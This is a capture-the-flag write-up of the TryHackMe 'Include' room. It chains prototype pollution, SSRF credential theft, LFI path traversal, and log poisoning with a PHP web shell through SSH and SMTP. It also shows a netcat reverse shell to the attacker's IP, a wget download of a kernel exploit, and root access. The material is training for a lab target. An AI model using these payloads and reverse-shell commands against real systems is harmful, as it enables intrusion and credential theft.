> For the complete documentation index, see [llms.txt](https://manav-g-krishna.gitbook.io/tryhackme-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://manav-g-krishna.gitbook.io/tryhackme-writeups/include.md).

# Include

{% embed url="<https://tryhackme.com/r/room/include>" %}
Room Link
{% endembed %}

This work by Manav G Krishna is licensed under [CC BY-NC 4.0](http://creativecommons.org/licenses/by-nc/4.0/?ref=chooser-v1) <img src="/files/fgutP6VmsOsVHYVe8Cfh" alt="" data-size="line"><img src="/files/J1FStDkVaABJlaGdbdeX" alt="" data-size="line">

**`Machine IP`**: 10.10.147.179

**`Hosts file entry`**: echo '10.10.147.179 include.thm' | sudo tee -a /etc/hosts

**`Nmap Scan`**:&#x20;

```python
nmap -p- -A -v --min-rate 100 -oN include_thm -Pn include.thm

Nmap scan report for include.thm (10.10.147.179)
Host is up (0.16s latency).
Not shown: 65527 closed tcp ports (reset)
PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a6:d8:1b:5d:41:12:20:65:ef:2d:64:7f:c9:54:02:a5 (RSA)
|   256 35:42:b2:ff:b5:e2:83:40:eb:14:d1:1b:9b:8e:ee:90 (ECDSA)
|_  256 76:75:5c:a8:63:b4:2b:d7:59:51:36:8a:2b:f9:59:23 (ED25519)
25/tcp    open  smtp     Postfix smtpd
|_smtp-commands: mail.filepath.lab, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Issuer: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-11-10T16:53:34
| Not valid after:  2031-11-08T16:53:34
| MD5:   05c8:4559:9811:a54f:9c53:b3ee:f6ad:f0fd
|_SHA-1: a24d:7a7f:9ac1:8045:5c5f:5b7c:721a:4e21:0599:ed7c
|_ssl-date: TLS randomness does not represent time
110/tcp   open  pop3     Dovecot pop3d
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Issuer: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-11-10T16:53:34
| Not valid after:  2031-11-08T16:53:34
| MD5:   05c8:4559:9811:a54f:9c53:b3ee:f6ad:f0fd
|_SHA-1: a24d:7a7f:9ac1:8045:5c5f:5b7c:721a:4e21:0599:ed7c
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: SASL UIDL STLS AUTH-RESP-CODE PIPELINING CAPA TOP RESP-CODES
143/tcp   open  imap     Dovecot imapd (Ubuntu)
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Issuer: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-11-10T16:53:34
| Not valid after:  2031-11-08T16:53:34
| MD5:   05c8:4559:9811:a54f:9c53:b3ee:f6ad:f0fd
|_SHA-1: a24d:7a7f:9ac1:8045:5c5f:5b7c:721a:4e21:0599:ed7c
|_ssl-date: TLS randomness does not represent time
|_imap-capabilities: more LOGINDISABLEDA0001 have SASL-IR Pre-login IDLE LITERAL+ listed post-login STARTTLS OK capabilities LOGIN-REFERRALS ID IMAP4rev1 ENABLE
993/tcp   open  ssl/imap Dovecot imapd (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Issuer: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-11-10T16:53:34
| Not valid after:  2031-11-08T16:53:34
| MD5:   05c8:4559:9811:a54f:9c53:b3ee:f6ad:f0fd
|_SHA-1: a24d:7a7f:9ac1:8045:5c5f:5b7c:721a:4e21:0599:ed7c
|_imap-capabilities: more have AUTH=LOGINA0001 SASL-IR Pre-login IMAP4rev1 LITERAL+ listed post-login OK IDLE capabilities LOGIN-REFERRALS ID AUTH=PLAIN ENABLE
995/tcp   open  ssl/pop3 Dovecot pop3d
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Issuer: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-11-10T16:53:34
| Not valid after:  2031-11-08T16:53:34
| MD5:   05c8:4559:9811:a54f:9c53:b3ee:f6ad:f0fd
|_SHA-1: a24d:7a7f:9ac1:8045:5c5f:5b7c:721a:4e21:0599:ed7c
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: SASL(PLAIN LOGIN) UIDL PIPELINING AUTH-RESP-CODE USER CAPA TOP RESP-CODES
4000/tcp  open  http     Node.js (Express middleware)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Sign In
50000/tcp open  http     Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: System Monitoring Portal
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=6/3%OT=22%CT=1%CU=44147%PV=Y%DS=2%DC=T%G=Y%TM=665E0
OS:60C%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)S
OS:EQ(SP=102%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=103%GCD=1%ISR=10A%TI=
OS:Z%CI=Z%II=I%TS=A)SEQ(SP=103%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=104
OS:%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M508ST11NW7%O2=M508ST11NW7%O3=
OS:M508NNT11NW7%O4=M508ST11NW7%O5=M508ST11NW7%O6=M508ST11)WIN(W1=F4B3%W2=F4
OS:B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M508NNSNW7
OS:%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=
OS:Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%
OS:RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0
OS:%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIP
OS:CK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 13.190 days (since Tue May 21 19:02:26 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host:  mail.filepath.lab; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 199/tcp)
HOP RTT       ADDRESS
1   157.19 ms 10.11.0.1
2   157.40 ms include.thm (10.10.147.179)
```

From the scan we can see that port **`4000`** and **`50000`** have **`web services`** running on them and also there is a **`host`** named **`mail.filepath.lab`**.

**`Checking out port 4000`**:

<figure><img src="/files/Yc2sdnCBf8AuJKcQ5b2n" alt=""><figcaption></figcaption></figure>

We can now do some **`directory busting`**:

**`Command`**:

```python
dirsearch -u http://include.thm:4000/
```

<div align="left"><figure><img src="/files/ESq8tACquEamJ3TrAZ7N" alt=""><figcaption></figcaption></figure></div>

The **`/signin`** path is the same as the **`root`** of the website.

Now let us check out **`50000`**.

**`Checking out port 50000`**:

<figure><img src="/files/d5TBhoaUh42LoBFvVGDz" alt=""><figcaption></figcaption></figure>

We have a **`Login`** page too:

<figure><img src="/files/F8W2D1sQMYAt3XdC7sTe" alt=""><figcaption></figcaption></figure>

We can go ahead and **`directory bust`** this site:

**`Command`**:

```python
dirsearch -u http://include.thm:50000/
```

<div align="left"><figure><img src="/files/zAWp2VAY4L0PhR1GR7wc" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/rkEDqkytdZat2n7y6S9d" alt=""><figcaption></figcaption></figure></div>

At the moment we are on the **`/login.php`**, we also have a **`/dashboard.php`** & a **`/profile.php`** that we would be able to access once we manage to **`login`** to the **`SysMon`** portal. There is a **`/uploads`** & a **`/templates`** path too.

The **`/uploads`** path:

<div align="left"><figure><img src="/files/PVWwuRCXFPiyzYY7J6fG" alt=""><figcaption></figcaption></figure></div>

The **`/templates`** path:

<div align="left"><figure><img src="/files/WoX6kVEMlUso56DhGyte" alt=""><figcaption></figcaption></figure></div>

There is nothing interesting in these paths.

We can now go back to exploring port **`4000`**:

<figure><img src="/files/vQpAmvzOTsSVxpkuqqRZ" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/gv9Qxb4nvN6WZl7aBG8P" alt=""><figcaption></figcaption></figure>

We can check out our profile by clicking on **`View Profile`**.

We have an entry that says: **`isAdmin: false`** and also we have an option to recommend an activity:

<figure><img src="/files/S9P6NRIyW5R8xNkLdHLe" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/HGT6aXcACqGb1WhCFZLa" alt=""><figcaption></figcaption></figure>

Now we can try to set the **`isAdmin`** to **`true`** by recomending it is an activity:

<figure><img src="/files/e7sYSwZZrMRTAnkLhiua" alt=""><figcaption></figcaption></figure>

Upon clicking on **`Recommend Activity`** we notice these changes:

<figure><img src="/files/KeMhQjXB4fbjnoUeZigY" alt=""><figcaption></figcaption></figure>

The **`isAdmin`** value is now set to **`true`**, which means we have made ourselves an **`admin`**. Doing so also gave us **`two`** new options on the website that wasn't there before by default, that is **`API`** & **`Settings`**.

What we did here is **`Prototype Pollution`**. Prototype Pollution is a critical vulnerability that can allow attackers to manipulate an application's **`JavaScript objects`** and **`properties`**, leading to serious security issues such as unauthorized access to data, privilege escalation, and even remote code execution.

In this case from the **`Nmap Scan`** we know that the **`server`** running on port **`4000`**, is **`Node.js`**. So the **`server-side code`** running on the application is obviously **`JavaScript`**. If user inputs are directly merged into objects without sanitization, it leads to **`modification of prototypes`** and this is what we did above.

**`Checking out the API option`**:

We are presented with an **`API Dashboard`** and it says a **`GET request`** to this endpoint: **`http://127.0.0.1:5000/getAllAdmins101099991`** will give us a response like this:

```python
{
    "ReviewAppUsername": "admin",
    "ReviewAppPassword": "xxxxxx",
    "SysMonAppUsername": "administrator",
    "SysMonAppPassword": "xxxxxxxxx",
}
```

&#x20;We get the **`SysMon portal`** **`password`** and it says the username is **`administrator`**. Once we get the password we would be able to login to the portal on port **`50000`**:

<figure><img src="/files/jJUW4CSsMl24npn0zagg" alt=""><figcaption></figcaption></figure>

But the request has to be sent to the machine's **`localhost`** on port **`5000`**.

Let us now check out the **`Settings`** option:

<figure><img src="/files/BruZs7YsfLT3a6o3F5Bn" alt=""><figcaption></figcaption></figure>

It lets us **`update`** the **`banner image`**.&#x20;

We can now try putting this as the **`URL`**: **`http://127.0.0.1:5000/getAllAdmins101099991`** to see what we are presented with post clicking on **`Update Banner Image`**:

<div align="left"><figure><img src="/files/hrNrQSzJxyGFVnvWjM3N" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/zl917uy0vG0gPtoMHUc7" alt=""><figcaption></figcaption></figure>

It gave us this **`base64 encoded`** string:

```python
eyJSZXZpZXdBcHBVc2VybmFtZSI6ImFkbWluIiwiUmV2aWV3QXBwUGFzc3dvcmQiOiJhZG1pbkAhISEiLCJTeXNNb25BcHBVc2VybmFtZSI6ImFkbWluaXN0cmF0b3IiLCJTeXNNb25BcHBQYXNzd29yZCI6IlMkOSRxazZkIyoqTFFVIn0=
```

**`Decoding it`**:

**`Command`**:

```python
echo -n eyJSZXZpZXdBcHBVc2VybmFtZSI6ImFkbWluIiwiUmV2aWV3QXBwUGFzc3dvcmQiOiJhZG1pbkAhISEiLCJTeXNNb25BcHBVc2VybmFtZSI6ImFkbWluaXN0cmF0b3IiLCJTeXNNb25BcHBQYXNzd29yZCI6IlMkOSRxazZkIyoqTFFVIn0= | base64 -d
```

<figure><img src="/files/nnyErZXmfvBfkAnWYAos" alt=""><figcaption></figcaption></figure>

We have now got the **`SysMonAppPassword`**.&#x20;

What we just did is nothing but **`SSRF`**. **`Server-Side Request Forgery (SSRF)`** is a vulnerability where an attacker can make a **`server-side application`** send **`requests`** to an unintended location. This can lead to fetching the **`internal resources`** which is typically inaccessible from outside the server’s internal network, potentially exposing **`sensitive information`**.

In this case we were able to reach out to those **`API endpoints`** via an **`external input`**.

**`Logging in to the portal on port 50000`**:

<figure><img src="/files/XnbZ7TA9UlLb9K1bfrVI" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/oCKbUN7e9xAGyFxRjHCc" alt=""><figcaption></figcaption></figure>

The **`first flag`** can be found here. We are on the **`/dashboard.php`** endpoint now.

From the initial directory busting that we did for the **`50000`** port, we also had a **`/profile.php`** endpoint. Let us start by checking out the **`source code`** of the dashboard page:

<figure><img src="/files/RY63iSgLSB5NcY7JLJbl" alt=""><figcaption></figcaption></figure>

The **`/profile.php`** endpoint is being referred to in the source code.&#x20;

We can now check it out:

<figure><img src="/files/6NuIpGAGUBHi1WtsV6wI" alt=""><figcaption></figcaption></figure>

**`The URL`**:&#x20;

```python
http://include.thm:50000/profile.php?img=profile.png
```

There is a **`parameter`** named **`img`**. By looking at this the first thing that comes to our mind is **`LFI (Local File Inclusion)`**.

We can try to **`automate`** the process of exploiting the vulnerability by using **`wfuzz`**.

The **`wordlist`** that we will be using:

{% embed url="<https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-Jhaddix.txt>" %}

This is a really **`common`** and **`famous wordlist`** that gives us valid hits in most of the cases.

**`Using wfuzz to find LFI`**:

**`Command`**:

```python
wfuzz -c -z file,/usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -b "PHPSESSID=l5s8qnq3s84p0i4h2f1lcg5glj" http://include.thm:50000/profile.php\?img\=FUZZ
```

**`Switches`** explanation:

```python
-c: Output with colors
-z file: Wordlist
-b: Cookie
```

Since the site we are **`fuzzing`** is behind a **`login`**, using the **`cookie`** in the **`wfuzz`** command plays a crucial role as this is how the server knows that the **`requests`** coming from the **`tool`** are **`authenticated`**.

To fetch the cookie we can **`Inspect`** the page and under **`Storage`** is where we find it:

<figure><img src="/files/QprXBc1p8I6IEEKQRZzX" alt=""><figcaption></figcaption></figure>

The tool injects **`payloads`** at the position where the **`FUZZ keyword`** is placed.&#x20;

<figure><img src="/files/ywWDGz7Ek1OgPs72oxQ7" alt=""><figcaption></figcaption></figure>

And we have got **`successful`** hits, a few of them are:

<figure><img src="/files/75IkifEJ3KGaNbG2tteP" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/EmR6qWSfzRVqLzNl51Fh" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/kLHdzmX9bv6FZ8yRu9MQ" alt=""><figcaption></figcaption></figure>

The moment we see different values in the **`Lines`**, **`Words`** & the **`Chars`** columns, that is how we know the **`payload`** is **`valid`**.&#x20;

**`One`** out of the bunch of valid **`payloads`**:

```python
....//....//....//....//....//....//....//....//....//etc/passwd
```

Let us give this a try:

**`The URL`**:

```python
http://include.thm:50000/profile.php?img=....//....//....//....//....//....//....//....//....//etc/passwd
```

<figure><img src="/files/AuvGJNelObpKQC2ECHzR" alt=""><figcaption></figcaption></figure>

<div align="left"><figure><img src="/files/vKEjS8SMrzB2R2U3UUXk" alt=""><figcaption></figcaption></figure></div>

It worked!!

Now since we have **`LFI`**, this can be converted to an **`RCE (Remote Code Execution)`**

**`LFI to RCE`**:

**`Method 1: LFI to RCE via Log Poisoning`**

A **`blog`** that we can check out:

{% embed url="<https://medium.com/@omarwhadidi9/10-ways-to-get-rce-from-lfi-f2bb696b67f6>" %}

**`Common log files in Linux`**:

{% embed url="<https://www.netsurion.com/articles/top-5-linux-log-file-groups-in-var-log>" %}

<figure><img src="/files/hfmcMu3Eu9DdtEXPW7T7" alt=""><figcaption></figcaption></figure>

The **`/var/log/auth.log`** log file is used by various authentication services, including **`SSH`**.

Logs related to **`SSH`** activities, such as session starts, stops, authentication attempts etc., will be **`logged`**.&#x20;

We can now **`traverse`** to the log file:

**`The payload`**:

```python
....//....//....//....//....//....//....//....//....//var/log/auth.log
```

**`The URL`**:

```python
http://include.thm:50000/profile.php?img=....//....//....//....//....//....//....//....//....//var/log/auth.log
```

<figure><img src="/files/p3UU91eLQTHICpbFAced" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/pCTLInblao5R81jikpVO" alt=""><figcaption></figcaption></figure>

Now we can try to make **`fake attempts`** to login via **`SSH`** and this should be getting **`logged`** in the **`auth.log`** file:

<figure><img src="/files/OLgklL0pTkzM0tKPdmSf" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9NdeL1xPhwXdTkWa9eeW" alt=""><figcaption></figcaption></figure>

It is indeed getting **`logged`** as expected.

Now, we can try to insert a **`PHP payload`** as the **`user`** in the **`SSH`** command. This too, should get **`logged`** just like the **`fake`** **`SSH`** logins we did earlier with the user **`test`**.

{% embed url="<https://vulp3cula.gitbook.io/hackers-grimoire/exploitation/web-application/rce#simple-php-web-shell>" %}

**`The payload`**:

```python
<?php echo shell_exec($_GET['cmd']); ?>
```

**`Command`**:

```python
ssh '<?php echo shell_exec($_GET['cmd']); ?>'@include.thm
```

<div align="left"><figure><img src="/files/FomsasloiLBZ0G3M2wDZ" alt=""><figcaption></figcaption></figure></div>

Unfortunately this doesn't work as this has been patched in the latest versions of **`SSH`**. We get the error: **`remote username contains invalid characters`**.

**`Note`**:

I had come across a question asked in **`Stack Overflow`** based on the above error and an answer mentioned that we could use **`Hydra`** to perform the **`poisoning`** successfully.

{% embed url="<https://stackoverflow.com/questions/77948173/how-to-perform-ssh-log-poisoning-for-rce-with-lfi-using-php-system-call-in-usern>" %}

**`Using Hydra to achieve RCE via the SSH protocol`**:

The logic here too remains the same as above, we can insert a `PHP payload` as the value for the `-l` switch of `Hydra` which is nothing but the `login username` and since we are are using it against the `SSH` service, that too will get logged in the `auth.log` file and this would lead to `RCE`.

**`Command`**:

```python
hydra -l '<?php echo shell_exec($_GET['cmd']); ?>' -p test include.thm ssh -V
```

<figure><img src="/files/6p2QrRkjoHqPJvv4Jr0c" alt=""><figcaption></figcaption></figure>

Now let us check out the **`log`** file:

<figure><img src="/files/FrJsWa1FTJVwf6kHWBte" alt=""><figcaption></figcaption></figure>

It has been **`logged`**.

Now we should have **`RCE`**, running **`ifconfig`**:

**`The URL`**:

```python
http://include.thm:50000/profile.php?img=....//....//....//....//....//....//....//....//....//var/log/auth.log&cmd=ifconfig
```

<figure><img src="/files/QNn3mJsBKIeB9NPU0z8X" alt=""><figcaption></figcaption></figure>

It worked!!

**`Method 2: LFI to RCE via MAIL (SMTP)`**:

Common **`log`** files in **`Linux`**:

{% embed url="<https://www.netsurion.com/articles/top-5-linux-log-file-groups-in-var-log>" %}

<figure><img src="/files/FZWmm9q52jluc5WhdzjZ" alt=""><figcaption></figcaption></figure>

Since we have **`SMTP`** open, we can send a **`mail`** to test if it is getting **`logged`**. It should be getting logged as all email related activities are logged in the **`/var/log/mail.log`** file.

**`The payload`**:

```python
....//....//....//....//....//....//....//....//....//var/log/mail.log
```

**`The URL`**:

```python
http://include.thm:50000/profile.php?img=....//....//....//....//....//....//....//....//....//var/log/mail.log
```

**`Manual Exploitation`**:

We can send a **`test email`** by connecting to port **`25`** (**`SMTP`**):

<div align="left"><figure><img src="/files/dyFJvRlLXSIuVAWbANUB" alt=""><figcaption></figcaption></figure></div>

And indeed it is getting **`logged`** as expected:

<figure><img src="/files/Icr18IHw26zmwYHaIRXn" alt=""><figcaption></figcaption></figure>

Now we can put a **`PHP`** payload in **`mail from/rcpt to`** and this would get logged too, which would lead to **`RCE`**:

<div align="left"><figure><img src="/files/3o9Yktqd3mO3XewnOgbw" alt=""><figcaption></figcaption></figure></div>

We get this error: **`501 5.1.7 Bad sender address syntax`**.

But let us check if it got **`logged`**:

<figure><img src="/files/48cRUMQVUjMl6hv59xrI" alt=""><figcaption></figcaption></figure>

And it did get **`logged`**.&#x20;

Using **`ifconfig`** to check if **`RCE`** works:

**`The URL`**:

```python
http://include.thm:50000/profile.php?img=....//....//....//....//....//....//....//....//....//var/log/mail.log&cmd=ifconfig
```

<div align="left"><figure><img src="/files/Vdto4rMPaJPB0mRt7NEK" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/Wgd2J2LJK61rpB5KOrEj" alt=""><figcaption></figcaption></figure></div>

It did work and we have got the **`output`** of the **`ifconfig`** command. Now  we can run **`ls -la`** and we will be able to see the **`second flag`** and the same can be **`cat`** ed out via the **`webshell`** itself.

<figure><img src="/files/bdTYyMjyAM81F52WFWaL" alt=""><figcaption></figcaption></figure>

**`Use - cat 505eb0fb8a9f32853b4d955e1f9123ea.txt`**:

<div align="left"><figure><img src="/files/SrJrFPFowkfg3efLtZhY" alt=""><figcaption></figcaption></figure></div>

**`Using swaks tool to send the mail to achieve RCE`**:

**`Note`**:

I will be showing this post **`terminating`** the machine. This way we are making sure we start on a **`fresh`** machine and by doing so the **`webshell`** that we got from **`manual exploitation`**, won't even be in the picture. Make sure to **`update`** the **`hosts`** file entry with the **`new IP`**.

We now have nothing logged in the **`/var/log/mail.log`**:

<figure><img src="/files/nkBPWQ8PBSDbmGlBCaUd" alt=""><figcaption></figcaption></figure>

Now we can use **`swaks`**:

**`Command`**:

```python
swaks --to '<?php echo shell_exec($_GET['cmd']); ?>'@test.com --from test@test.com --server include.thm --body "test"
```

<figure><img src="/files/52AWhFhy2xx95ThOCQHS" alt=""><figcaption></figcaption></figure>

Checking the **`log`** file:

<figure><img src="/files/5JDWxhF719yh8nEUQTzM" alt=""><figcaption></figcaption></figure>

&#x20;It has got **`logged`**.

Now onto the **`RCE`** yet again:

<figure><img src="/files/3R8gzvePtPOjJHcdGaeU" alt=""><figcaption></figcaption></figure>

We have got the output of **`ifconfig`**.

We can also use this **`PHP payload`** to get **`RCE`** via **`SMTP`**:

**`The payload`**:

```python
<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>
```

<figure><img src="/files/nSwEQmARvogGjBBPt45E" alt=""><figcaption></figcaption></figure>

**`Using a reverse shell in the webshell`**:

**`Command`**:

```python
busybox nc 10.11.89.39 443 -e sh  //The IP here is the tun0 interface IP
```

<figure><img src="/files/ut7SEa5aujj7DDFJJwDi" alt=""><figcaption></figcaption></figure>

Setting up a listener on port **`443`**:

<div align="left"><figure><img src="/files/ScVnQjWMUthruiT3pv99" alt=""><figcaption></figcaption></figure></div>

**`The URL`**:

```python
http://include.thm:50000/profile.php?img=....//....//....//....//....//....//....//....//....//var/log/mail.log&cmd=busybox nc 10.11.89.39 443 -e sh
```

<div align="left"><figure><img src="/files/Te8WGkme6Qk8zXMIbGy9" alt=""><figcaption></figcaption></figure></div>

We indeed get the **`connection`**.&#x20;

Now we can **`upgrade the shell`** a little by running this:

**`Command`**:&#x20;

```python
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

**`Privilege Escalation via CVE-2024-1086 (Optional)`**:

{% embed url="<https://github.com/Notselwyn/CVE-2024-1086>" %}
CVE-2024-1086
{% endembed %}

<figure><img src="/files/eO0J5ERKZc2C2QkvzUi6" alt=""><figcaption></figcaption></figure>

The **`kernel`** on the machine is **`5.15.0-1055-aws`**.&#x20;

**`Command`**:

```python
uname -r
```

<div align="left"><figure><img src="/files/GGZ8ndyvTs6ibj0UKiTv" alt=""><figcaption></figcaption></figure></div>

The machine is most likely **`vulnerable`**.

Downloading the exploit from the **`Releases`** section in **`GitHub`**:

<div align="left"><figure><img src="/files/Y90ljYWScEpuvP1EuPMU" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/C9okOYdHurDDL5qNQDKa" alt=""><figcaption></figcaption></figure></div>

Sending it to the **`target machine`** post setting up a **`python server`**:

<figure><img src="/files/yI1ixLqUMFhGoD5ZvUz3" alt=""><figcaption></figcaption></figure>

<div align="left"><figure><img src="/files/OnErQRJqksBOdyyOsTSb" alt=""><figcaption></figcaption></figure></div>

**`Command`**:

```python
wget http://10.11.89.39:4545/exploit  //The IP here is the tun0 interface IP
```

<figure><img src="/files/8qThJ9XMbbitC9fc7Awv" alt=""><figcaption></figcaption></figure>

Setting it as an **`executable`** and **`running`** it:

<figure><img src="/files/cF21d2gvBgi8YxyKvBwD" alt=""><figcaption></figcaption></figure>

We are **`root`**.

Room solved!!

{% embed url="<https://tryhackme.com/p/gravereaper2038>" %}
Profile Link
{% endembed %}